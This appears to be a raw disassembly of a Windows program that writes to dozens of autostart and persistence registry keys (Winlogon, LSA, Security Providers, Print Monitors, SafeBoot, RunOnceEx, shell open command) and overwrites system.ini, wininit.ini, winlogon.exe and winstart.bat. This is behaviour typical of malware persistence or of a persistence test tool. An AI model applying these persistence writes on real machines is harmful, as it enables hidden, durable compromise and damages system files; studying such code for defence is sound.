mov edx, dword [esp + 0xc]
push 4
lea ecx, [esp + 0x18]
push ecx
push 1
push 0
push 0x4068d0
push edx
call edi
test eax, eax
je 0x402ea0
push 0x4061b4
call ebx
push eax
mov eax, dword [sym.imp.MSVCP100.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
push str.RegSetValueExTCHAR_runonce__Error:
push eax
call fcn.00404560
add esp, 8
mov ecx, eax
call dword [sym.imp.MSVCP100.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______thiscall_std::basic_ostream_char__struct_std::char_traits_char__::operator___unsigned_long_int_]
push eax
call fcn.00404560
add esp, 8
lea ecx, [esp + 0x10]
push ecx
lea edx, [esp + 0x10]
push edx
push 0
push 0xf003f
push 1
push 0
push 0
push str.SOFTWAREMicrosoftWindowsCurrentVersionRunOnceEx
push 0x80000002
call esi
test eax, eax
je 0x402ef3
push 0x4061b4
call ebx
push eax
mov eax, dword [sym.imp.MSVCP100.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
push str.RegCreateKeyEx_runonce__Error:
push eax
call fcn.00404560
add esp, 8
mov ecx, eax
call dword [sym.imp.MSVCP100.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______thiscall_std::basic_ostream_char__struct_std::char_traits_char__::operator___unsigned_long_int_]
push eax
call fcn.00404560
add esp, 8
mov edx, dword [esp + 0xc]
push 4
lea ecx, [esp + 0x18]
push ecx
push 1
push 0
push 0x4068d0
push edx
call edi
test eax, eax
je 0x402f3a
push 0x4061b4
call ebx
push eax
mov eax, dword [sym.imp.MSVCP100.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
push str.RegSetValueExTCHAR_runonce__Error:
push eax
call fcn.00404560
add esp, 8
mov ecx, eax
call dword [sym.imp.MSVCP100.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______thiscall_std::basic_ostream_char__struct_std::char_traits_char__::operator___unsigned_long_int_]
push eax
call fcn.00404560
add esp, 8
lea ecx, [esp + 0x10]
push ecx
lea edx, [esp + 0x10]
push edx
push 0
push 0xf003f
push 1
push 0
push 0
push str.SOFTWAREPoliciesMicrosoftWindowsSystemScripts
push 0x80000002
call esi
test eax, eax
je 0x402f8d
push 0x4061b4
call ebx
push eax
mov eax, dword [sym.imp.MSVCP100.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
push str.RegCreateKeyEx_scripts__Error:
push eax
call fcn.00404560
add esp, 8
mov ecx, eax
call dword [sym.imp.MSVCP100.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______thiscall_std::basic_ostream_char__struct_std::char_traits_char__::operator___unsigned_long_int_]
push eax
call fcn.00404560
add esp, 8
mov edx, dword [esp + 0xc]
push 4
lea ecx, [esp + 0x18]
push ecx
push 1
push 0
push 0x4068d0
push edx
call edi
test eax, eax
je 0x402fd4
push 0x4061b4
call ebx
push eax
mov eax, dword [sym.imp.MSVCP100.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
push str.RegSetValueExTCHAR_scripts__Error:
push eax
call fcn.00404560
add esp, 8
mov ecx, eax
call dword [sym.imp.MSVCP100.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______thiscall_std::basic_ostream_char__struct_std::char_traits_char__::operator___unsigned_long_int_]
push eax
call fcn.00404560
add esp, 8
lea ecx, [esp + 0x10]
push ecx
lea edx, [esp + 0x10]
push edx
push 0
push 0xf003f
push 1
push 0
push 0
push str.SOFTWAREMicrosoftWindows_NTCurrentVersionWinlogon
push 0x80000002
call esi
test eax, eax
je 0x403027
push 0x4061b4
call ebx
push eax
mov eax, dword [sym.imp.MSVCP100.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
push str.RegCreateKeyEx_taskman__Error:
push eax
call fcn.00404560
add esp, 8
mov ecx, eax
call dword [sym.imp.MSVCP100.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______thiscall_std::basic_ostream_char__struct_std::char_traits_char__::operator___unsigned_long_int_]
push eax
call fcn.00404560
add esp, 8
mov edx, dword [esp + 0xc]
push 4
lea ecx, [esp + 0x18]
push ecx
push 1
push 0
push str.Taskman
push edx
call edi
test eax, eax
je 0x40306e
push 0x4061b4
call ebx
push eax
mov eax, dword [sym.imp.MSVCP100.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
push str.RegSetValueExTCHAR_taskman__Error:
push eax
call fcn.00404560
add esp, 8
mov ecx, eax
call dword [sym.imp.MSVCP100.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______thiscall_std::basic_ostream_char__struct_std::char_traits_char__::operator___unsigned_long_int_]
push eax
call fcn.00404560
add esp, 8
lea ecx, [esp + 0x10]
push ecx
lea edx, [esp + 0x10]
push edx
push 0
push 0xf003f
push 1
push 0
push 0
push str.SystemCurrentControlSetControlTerminal_ServerWds_rdpwdStartupPrograms
push 0x80000002
call esi
test eax, eax
je 0x4030c1
push 0x4061b4
call ebx
push eax
mov eax, dword [sym.imp.MSVCP100.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
push str.RegCreateKeyEx_terminal__Error:
push eax
call fcn.00404560
add esp, 8
mov ecx, eax
call dword [sym.imp.MSVCP100.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______thiscall_std::basic_ostream_char__struct_std::char_traits_char__::operator___unsigned_long_int_]
push eax
call fcn.00404560
add esp, 8
mov edx, dword [esp + 0xc]
push 4
lea ecx, [esp + 0x18]
push ecx
push 1
push 0
push 0x4068d0
push edx
call edi
test eax, eax
je 0x403108
push 0x4061b4
call ebx
push eax
mov eax, dword [sym.imp.MSVCP100.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
push str.RegSetValueExTCHAR_terminal__Error:
push eax
call fcn.00404560
add esp, 8
mov ecx, eax
call dword [sym.imp.MSVCP100.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______thiscall_std::basic_ostream_char__struct_std::char_traits_char__::operator___unsigned_long_int_]
push eax
call fcn.00404560
add esp, 8
lea ecx, [esp + 0x10]
push ecx
lea edx, [esp + 0x10]
push edx
push 0
push 0xf003f
push 1
push 0
push 0
push str.SOFTWAREMicrosoftWindows_NTCurrentVersionWindows
push 0x80000002
call esi
test eax, eax
je 0x40315b
push 0x4061b4
call ebx
push eax
mov eax, dword [sym.imp.MSVCP100.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
push str.RegCreateKeyEx_load__Error:
push eax
call fcn.00404560
add esp, 8
mov ecx, eax
call dword [sym.imp.MSVCP100.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______thiscall_std::basic_ostream_char__struct_std::char_traits_char__::operator___unsigned_long_int_]
push eax
call fcn.00404560
add esp, 8
mov edx, dword [esp + 0xc]
push 4
lea ecx, [esp + 0x18]
push ecx
push 1
push 0
push str.Load
push edx
call edi
test eax, eax
je 0x4031a2
push 0x4061b4
call ebx
push eax
mov eax, dword [sym.imp.MSVCP100.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
push str.RegSetValueExTCHAR_load__Error:
push eax
call fcn.00404560
add esp, 8
mov ecx, eax
call dword [sym.imp.MSVCP100.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______thiscall_std::basic_ostream_char__struct_std::char_traits_char__::operator___unsigned_long_int_]
push eax
call fcn.00404560
add esp, 8
lea ecx, [esp + 0x10]
push ecx
lea edx, [esp + 0x10]
push edx
push 0
push 0xf003f
push 1
push 0
push 0
push str.SOFTWAREMicrosoftWindows_NTCurrentVersionWindows
push 0x80000002
call esi
test eax, eax
je 0x4031f5
push 0x4061b4
call ebx
push eax
mov eax, dword [sym.imp.MSVCP100.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
push str.RegCreateKeyEx_run__Error:
push eax
call fcn.00404560
add esp, 8
mov ecx, eax
call dword [sym.imp.MSVCP100.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______thiscall_std::basic_ostream_char__struct_std::char_traits_char__::operator___unsigned_long_int_]
push eax
call fcn.00404560
add esp, 8
mov edx, dword [esp + 0xc]
push 4
lea ecx, [esp + 0x18]
push ecx
push 1
push 0
push 0x40834c
push edx
call edi
test eax, eax
je 0x40323c
push 0x4061b4
call ebx
push eax
mov eax, dword [sym.imp.MSVCP100.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
push str.RegSetValueExTCHAR_run__Error:
push eax
call fcn.00404560
add esp, 8
mov ecx, eax
call dword [sym.imp.MSVCP100.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______thiscall_std::basic_ostream_char__struct_std::char_traits_char__::operator___unsigned_long_int_]
push eax
call fcn.00404560
add esp, 8
lea ecx, [esp + 0x10]
push ecx
lea edx, [esp + 0x10]
push edx
push 0
push 0xf003f
push 1
push 0
push 0
push str.SystemCurrentControlSetControlLsa
push 0x80000002
call esi
test eax, eax
je 0x40328f
push 0x4061b4
call ebx
push eax
mov eax, dword [sym.imp.MSVCP100.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
push str.RegCreateKeyEx_LSA__Error:
push eax
call fcn.00404560
add esp, 8
mov ecx, eax
call dword [sym.imp.MSVCP100.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______thiscall_std::basic_ostream_char__struct_std::char_traits_char__::operator___unsigned_long_int_]
push eax
call fcn.00404560
add esp, 8
mov edx, dword [esp + 0xc]
push 4
lea ecx, [esp + 0x18]
push ecx
push 1
push 0
push 0x4068d0
push edx
call edi
test eax, eax
je 0x4032d6
push 0x4061b4
call ebx
push eax
mov eax, dword [sym.imp.MSVCP100.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
push str.RegSetValueExTCHAR_LSA__Error:
push eax
call fcn.00404560
add esp, 8
mov ecx, eax
call dword [sym.imp.MSVCP100.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______thiscall_std::basic_ostream_char__struct_std::char_traits_char__::operator___unsigned_long_int_]
push eax
call fcn.00404560
add esp, 8
lea ecx, [esp + 0x10]
push ecx
lea edx, [esp + 0x10]
push edx
push 0
push 0xf003f
push 1
push 0
push 0
push str.SystemCurrentControlSetControlSecurityProviders_
push 0x80000002
call esi
test eax, eax
je 0x403329
push 0x4061b4
call ebx
push eax
mov eax, dword [sym.imp.MSVCP100.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
push str.RegCreateKeyEx_LSAS__Error:
push eax
call fcn.00404560
add esp, 8
mov ecx, eax
call dword [sym.imp.MSVCP100.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______thiscall_std::basic_ostream_char__struct_std::char_traits_char__::operator___unsigned_long_int_]
push eax
call fcn.00404560
add esp, 8
mov edx, dword [esp + 0xc]
push 4
lea ecx, [esp + 0x18]
push ecx
push 1
push 0
push 0x4068d0
push edx
call edi
test eax, eax
je 0x403370
push 0x4061b4
call ebx
push eax
mov eax, dword [sym.imp.MSVCP100.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
push str.RegSetValueExTCHAR_LSAS__Error:
push eax
call fcn.00404560
add esp, 8
mov ecx, eax
call dword [sym.imp.MSVCP100.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______thiscall_std::basic_ostream_char__struct_std::char_traits_char__::operator___unsigned_long_int_]
push eax
call fcn.00404560
add esp, 8
lea ecx, [esp + 0x10]
push ecx
lea edx, [esp + 0x10]
push edx
push 0
push 0xf003f
push 1
push 0
push 0
push str.SoftwareMicrosoftMediaPlayerPreferencesmsld
push 0x80000002
call esi
test eax, eax
je 0x4033c3
push 0x4061b4
call ebx
push eax
mov eax, dword [sym.imp.MSVCP100.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
push str.RegCreateKeyEx_media__Error:
push eax
call fcn.00404560
add esp, 8
mov ecx, eax
call dword [sym.imp.MSVCP100.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______thiscall_std::basic_ostream_char__struct_std::char_traits_char__::operator___unsigned_long_int_]
push eax
call fcn.00404560
add esp, 8
mov edx, dword [esp + 0xc]
push 4
lea ecx, [esp + 0x18]
push ecx
push 1
push 0
push 0x4068d0
push edx
call edi
test eax, eax
je 0x40340a
push 0x4061b4
call ebx
push eax
mov eax, dword [sym.imp.MSVCP100.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
push str.RegSetValueExTCHAR_media__Error:
push eax
call fcn.00404560
add esp, 8
mov ecx, eax
call dword [sym.imp.MSVCP100.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______thiscall_std::basic_ostream_char__struct_std::char_traits_char__::operator___unsigned_long_int_]
push eax
call fcn.00404560
add esp, 8
lea ecx, [esp + 0x10]
push ecx
lea edx, [esp + 0x10]
push edx
push 0
push 0xf003f
push 1
push 0
push 0
push str.SystemCurrentControlSetControlNetworkProviderOrder
push 0x80000002
call esi
test eax, eax
je 0x40345d
push 0x4061b4
call ebx
push eax
mov eax, dword [sym.imp.MSVCP100.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
push str.RegCreateKeyEx_netproviders__Error:
push eax
call fcn.00404560
add esp, 8
mov ecx, eax
call dword [sym.imp.MSVCP100.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______thiscall_std::basic_ostream_char__struct_std::char_traits_char__::operator___unsigned_long_int_]
push eax
call fcn.00404560
add esp, 8
mov edx, dword [esp + 0xc]
push 4
lea ecx, [esp + 0x18]
push ecx
push 1
push 0
push 0x4068d0
push edx
call edi
test eax, eax
je 0x4034a4
push 0x4061b4
call ebx
push eax
mov eax, dword [sym.imp.MSVCP100.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
push str.RegSetValueExTCHAR_netproviders__Error:
push eax
call fcn.00404560
add esp, 8
mov ecx, eax
call dword [sym.imp.MSVCP100.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______thiscall_std::basic_ostream_char__struct_std::char_traits_char__::operator___unsigned_long_int_]
push eax
call fcn.00404560
add esp, 8
lea ecx, [esp + 0x10]
push ecx
lea edx, [esp + 0x10]
push edx
push 0
push 0xf003f
push 1
push 0
push 0
push str.SystemCurrentControlSetControlPrintMonitors_
push 0x80000002
call esi
test eax, eax
je 0x4034f7
push 0x4061b4
call ebx
push eax
mov eax, dword [sym.imp.MSVCP100.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
push str.RegCreateKeyEx_monitors__Error:
push eax
call fcn.00404560
add esp, 8
mov ecx, eax
call dword [sym.imp.MSVCP100.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______thiscall_std::basic_ostream_char__struct_std::char_traits_char__::operator___unsigned_long_int_]
push eax
call fcn.00404560
add esp, 8
mov edx, dword [esp + 0xc]
push 4
lea ecx, [esp + 0x18]
push ecx
push 1
push 0
push 0x4068d0
push edx
call edi
test eax, eax
je 0x40353e
push 0x4061b4
call ebx
push eax
mov eax, dword [sym.imp.MSVCP100.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
push str.RegSetValueExTCHAR_monitors__Error:
push eax
call fcn.00404560
add esp, 8
mov ecx, eax
call dword [sym.imp.MSVCP100.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______thiscall_std::basic_ostream_char__struct_std::char_traits_char__::operator___unsigned_long_int_]
push eax
call fcn.00404560
add esp, 8
lea ecx, [esp + 0x10]
push ecx
lea edx, [esp + 0x10]
push edx
push 0
push 0xf003f
push 1
push 0
push 0
push str.SYSTEMCurrentControlSetControlSafeBoot
push 0x80000002
call esi
test eax, eax
je 0x403591
push 0x4061b4
call ebx
push eax
mov eax, dword [sym.imp.MSVCP100.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
push str.RegCreateKeyEx_safeboot__Error:
push eax
call fcn.00404560
add esp, 8
mov ecx, eax
call dword [sym.imp.MSVCP100.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______thiscall_std::basic_ostream_char__struct_std::char_traits_char__::operator___unsigned_long_int_]
push eax
call fcn.00404560
add esp, 8
mov edx, dword [esp + 0xc]
push 4
lea ecx, [esp + 0x18]
push ecx
push 1
push 0
push 0x4068d0
push edx
call edi
test eax, eax
je 0x4035d8
push 0x4061b4
call ebx
push eax
mov eax, dword [sym.imp.MSVCP100.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
push str.RegSetValueExTCHAR_safeboot__Error:
push eax
call fcn.00404560
add esp, 8
mov ecx, eax
call dword [sym.imp.MSVCP100.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______thiscall_std::basic_ostream_char__struct_std::char_traits_char__::operator___unsigned_long_int_]
push eax
call fcn.00404560
add esp, 8
lea ecx, [esp + 0x10]
push ecx
lea edx, [esp + 0x10]
push edx
push 0
push 0xf003f
push 1
push 0
push 0
push str.SOFTWAREMicrosoftWindowsCurrentVersionRunServices
push 0x80000002
call esi
test eax, eax
je 0x40362b
push 0x4061b4
call ebx
push eax
mov eax, dword [sym.imp.MSVCP100.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
push str.RegCreateKeyEx_services__Error:
push eax
call fcn.00404560
add esp, 8
mov ecx, eax
call dword [sym.imp.MSVCP100.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______thiscall_std::basic_ostream_char__struct_std::char_traits_char__::operator___unsigned_long_int_]
push eax
call fcn.00404560
add esp, 8
mov edx, dword [esp + 0xc]
push 4
lea ecx, [esp + 0x18]
push ecx
push 1
push 0
push 0x4068d0
push edx
call edi
test eax, eax
je 0x403672
push 0x4061b4
call ebx
push eax
mov eax, dword [sym.imp.MSVCP100.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
push str.RegSetValueExTCHAR_services__Error:
push eax
call fcn.00404560
add esp, 8
mov ecx, eax
call dword [sym.imp.MSVCP100.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______thiscall_std::basic_ostream_char__struct_std::char_traits_char__::operator___unsigned_long_int_]
push eax
call fcn.00404560
add esp, 8
lea ecx, [esp + 0x10]
push ecx
lea edx, [esp + 0x10]
push edx
push 0
push 0xf003f
push 1
push 0
push 0
push str.shellopencommand
push 0x80000002
call esi
test eax, eax
je 0x4036c5
push 0x4061b4
call ebx
push eax
mov eax, dword [sym.imp.MSVCP100.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
push str.RegCreateKeyEx_shellopen__Error:
push eax
call fcn.00404560
add esp, 8
mov ecx, eax
call dword [sym.imp.MSVCP100.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______thiscall_std::basic_ostream_char__struct_std::char_traits_char__::operator___unsigned_long_int_]
push eax
call fcn.00404560
add esp, 8
mov edx, dword [esp + 0xc]
push 4
lea ecx, [esp + 0x18]
push ecx
push 1
push 0
push 0x4068d0
push edx
call edi
test eax, eax
je 0x40370c
push 0x4061b4
call ebx
push eax
mov eax, dword [sym.imp.MSVCP100.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
push str.RegSetValueExTCHAR_shellopen__Error:
push eax
call fcn.00404560
add esp, 8
mov ecx, eax
call dword [sym.imp.MSVCP100.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______thiscall_std::basic_ostream_char__struct_std::char_traits_char__::operator___unsigned_long_int_]
push eax
call fcn.00404560
add esp, 8
push 0
push 0x80
push 2
push 0
push 0
push 0x10000000
push str.C:Windows_system.ini
call dword [sym.imp.KERNEL32.dll_CreateFileW]
lea ecx, [esp + 0x1c]
push ecx
lea edx, [esp + 0x1c]
push edx
push 4
push 0x4088a8
push eax
call dword [sym.imp.KERNEL32.dll_WriteFile]
test eax, eax
jne 0x403771
push 0x4061b4
call ebx
push eax
mov eax, dword [sym.imp.MSVCP100.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
push str.ini_Error:
push eax
call fcn.00404560
add esp, 8
mov ecx, eax
call dword [sym.imp.MSVCP100.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______thiscall_std::basic_ostream_char__struct_std::char_traits_char__::operator___unsigned_long_int_]
push eax
call fcn.00404560
add esp, 8
push 0
push 0x80
push 2
push 0
push 0
push 0x10000000
push str.wininit.ini
call dword [sym.imp.KERNEL32.dll_CreateFileW]
lea ecx, [esp + 0x1c]
push ecx
lea edx, [esp + 0x1c]
push edx
push 4
push 0x4088a8
push eax
call dword [sym.imp.KERNEL32.dll_WriteFile]
test eax, eax
jne 0x4037d6
push 0x4061b4
call ebx
push eax
mov eax, dword [sym.imp.MSVCP100.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
push str.init_Error:
push eax
call fcn.00404560
add esp, 8
mov ecx, eax
call dword [sym.imp.MSVCP100.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______thiscall_std::basic_ostream_char__struct_std::char_traits_char__::operator___unsigned_long_int_]
push eax
call fcn.00404560
add esp, 8
push 0
push 0x80
push 2
push 0
push 0
push 0x10000000
push str.winlogon.exe
call dword [sym.imp.KERNEL32.dll_CreateFileW]
lea ecx, [esp + 0x1c]
push ecx
lea edx, [esp + 0x1c]
push edx
push 4
push 0x408900
push eax
call dword [sym.imp.KERNEL32.dll_WriteFile]
test eax, eax
jne 0x40383b
push 0x4061b4
call ebx
push eax
mov eax, dword [sym.imp.MSVCP100.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
push str.winlogon.exe_Error:
push eax
call fcn.00404560
add esp, 8
mov ecx, eax
call dword [sym.imp.MSVCP100.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______thiscall_std::basic_ostream_char__struct_std::char_traits_char__::operator___unsigned_long_int_]
push eax
call fcn.00404560
add esp, 8
push 0
push 0x80
push 2
push 0
push 0
push 0x10000000
push str.C:Windowswinstart.bat
call dword [sym.imp.KERNEL32.dll_CreateFileW]
lea ecx, [esp + 0x1c]
push ecx
lea edx, [esp + 0x1c]
push edx
push 4
push 0x408950
push eax
call dword [sym.imp.KERNEL32.dll_WriteFile]
test eax, eax
jne 0x4038a0
push 0x4061b4
call ebx
push eax
mov eax, dword [sym.imp.MSVCP100.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
push str.winstart.bat_Error:
push eax
call fcn.00404560
add esp, 8
mov ecx, eax
call dword [sym.imp.MSVCP100.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______thiscall_std::basic_ostream_char__struct_std::char_traits_char__::operator___unsigned_long_int_]
push eax
call fcn.00404560
add esp, 8
lea ecx, [esp + 0x10]
push ecx
lea edx, [esp + 0x10]
push edx
push 0
push 0xf003f
push 1
push 0
push 0
push str.SoftwareMicrosoftWindowsCurrentVersionWindows
push 0x80000002
call esi
test eax, eax
je 0x4038f3
push 0x4061b4
call ebx
push eax
mov eax, dword [sym.imp.MSVCP100.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
push str.RegCreateKeyEx_windows__Error:
push eax
call fcn.00404560
add esp, 8
mov ecx, eax
call dword [sym.imp.MSVCP100.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______thiscall_std::basic_ostream_char__struct_std::char_traits_char__::operator___unsigned_long_int_]
push eax
call fcn.00404560
add esp, 8
mov edx, dword [esp + 0xc]
push 4
lea ecx, [esp + 0x18]
push ecx
push 1
push 0
push 0x4068d0
push edx
call edi
test eax, eax
je 0x40393a
push 0x4061b4
call ebx
push eax
mov eax, dword [sym.imp.MSVCP100.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
push str.RegSetValueExTCHAR_windows__Error:
push eax
call fcn.00404560
add esp, 8
mov ecx, eax
call dword [sym.imp.MSVCP100.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______thiscall_std::basic_ostream_char__struct_std::char_traits_char__::operator___unsigned_long_int_]
push eax
call fcn.00404560
add esp, 8
lea ecx, [esp + 0x10]
push ecx
lea edx, [esp + 0x10]
push edx
push 0
push 0xf003f
push 1
push 0
push 0
push str.SOFTWAREMicrosoftWindows_NTCurrentVersionWinlogon
push 0x80000002
call esi
test eax, eax
je 0x40398d
push 0x4061b4
call ebx
push eax
mov eax, dword [sym.imp.MSVCP100.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
push str.RegCreateKeyEx_windows__Error:
push eax
call fcn.00404560
add esp, 8
mov ecx, eax
call dword [sym.imp.MSVCP100.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______thiscall_std::basic_ostream_char__struct_std::char_traits_char__::operator___unsigned_long_int_]
push eax
call fcn.00404560
add esp, 8
mov edx, dword [esp + 0xc]
push 4
lea ecx, [esp + 0x18]
push ecx
push 1
push 0
push str.GinaDLL
push edx
call edi
test eax, eax
je 0x4039d4
push 0x4061b4
call ebx
push eax
mov eax, dword [sym.imp.MSVCP100.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
push str.RegSetValueExTCHAR_windows__Error:
push eax
call fcn.00404560
add esp, 8
mov ecx, eax
call dword [sym.imp.MSVCP100.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______thiscall_std::basic_ostream_char__struct_std::char_traits_char__::operator___unsigned_long_int_]
push eax
call fcn.00404560
add esp, 8
lea ecx, [esp + 0x10]
push ecx
lea edx, [esp + 0x10]
push edx
push 0
push 0xf003f
push 1
push 0
push 0
push str.SOFTWAREMicrosoftWindows_NTCurrentVersionWinlogon
push 0x80000002
call esi
test eax, eax
je 0x403a27
push 0x4061b4
call ebx
push eax
mov eax, dword [sym.imp.MSVCP100.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
push str.RegCreateKeyEx_load__Error:
push eax
call fcn.00404560
add esp, 8
mov ecx, eax
call dword [sym.imp.MSVCP100.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______thiscall_std::basic_ostream_char__struct_std::char_traits_char__::operator___unsigned_long_int_]
push eax
call fcn.00404560
add esp, 8
mov edx, dword [esp + 0xc]
push 4
lea ecx, [esp + 0x18]
push ecx
push 1
push 0
push str.Load
push edx
call edi
test eax, eax
je 0x403a6e
push 0x4061b4
call ebx
push eax
mov eax, dword [sym.imp.MSVCP100.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
push str.RegSetValueExTCHAR_load__Error:
push eax
call fcn.00404560
add esp, 8
mov ecx, eax
call dword [sym.imp.MSVCP100.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______thiscall_std::basic_ostream_char__struct_std::char_traits_char__::operator___unsigned_long_int_]
push eax
call fcn.00404560
add esp, 8
lea ecx, [esp + 0x10]
push ecx
lea edx, [esp + 0x10]
push edx
push 0
push 0xf003f
push 1
push 0
push 0
push str.SOFTWAREMicrosoftWindows_NTCurrentVersionWinlogonSystem
push 0x80000002
call esi
test eax, eax
je 0x403ac1
push 0x4061b4
call ebx
push eax
mov eax, dword [sym.imp.MSVCP100.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
push str.RegCreateKeyEx_windows__Error:
push eax
call fcn.00404560
add esp, 8
mov ecx, eax
call dword [sym.imp.MSVCP100.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______thiscall_std::basic_ostream_char__struct_std::char_traits_char__::operator___unsigned_long_int_]
push eax
call fcn.00404560
add esp, 8
mov edx, dword [esp + 0xc]
push 4
lea ecx, [esp + 0x18]
push ecx
push 1
push 0
push str.RANDOM
push edx
call edi
test eax, eax
je 0x403b08
push 0x4061b4
call ebx
push eax
mov eax, dword [sym.imp.MSVCP100.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
push str.RegSetValueExTCHAR_windows__Error:
push eax
call fcn.00404560
add esp, 8
mov ecx, eax
call dword [sym.imp.MSVCP100.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______thiscall_std::basic_ostream_char__struct_std::char_traits_char__::operator___unsigned_long_int_]
push eax
call fcn.00404560
add esp, 8
lea ecx, [esp + 0x10]
push ecx
lea edx, [esp + 0x10]
push edx
push 0
push 0xf003f
push 1
push 0
push 0
push str.SOFTWAREMicrosoftWindows_NTCurrentVersionWinlogonNotify
push 0x80000002
call esi
test eax, eax
je 0x403b5b
push 0x4061b4
call ebx
push eax
mov eax, dword [sym.imp.MSVCP100.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
push str.RegCreateKeyEx_notify__Error:
push eax
call fcn.00404560
add esp, 8
mov ecx, eax
call dword [sym.imp.MSVCP100.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______thiscall_std::basic_ostream_char__struct_std::char_traits_char__::operator___unsigned_long_int_]
push eax
call fcn.00404560
add esp, 8
mov edx, dword [esp + 0xc]
push 4
lea ecx, [esp + 0x18]
push ecx
push 1
push 0
push 0x4068d0
push edx
call edi
test eax, eax
je 0x403ba2
push 0x4061b4
call ebx
push eax
mov eax, dword [sym.imp.MSVCP100.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
push str.RegSetValueExTCHAR_notify__Error:
push eax
call fcn.00404560
add esp, 8
mov ecx, eax
call dword [sym.imp.MSVCP100.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______thiscall_std::basic_ostream_char__struct_std::char_traits_char__::operator___unsigned_long_int_]
push eax
call fcn.00404560
add esp, 8
lea ecx, [esp + 0x10]
push ecx
lea edx, [esp + 0x10]
push edx
push 0
push 0xf003f
push 1
push 0
push 0
push str.Control_PanelDesktop
push 0x80000002
call esi
test eax, eax
je 0x403bf5
push 0x4061b4
call ebx
push eax
mov eax, dword [sym.imp.MSVCP100.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
push str.RegCreateKeyEx_screensaver__Error:
push eax
call fcn.00404560
add esp, 8
mov ecx, eax
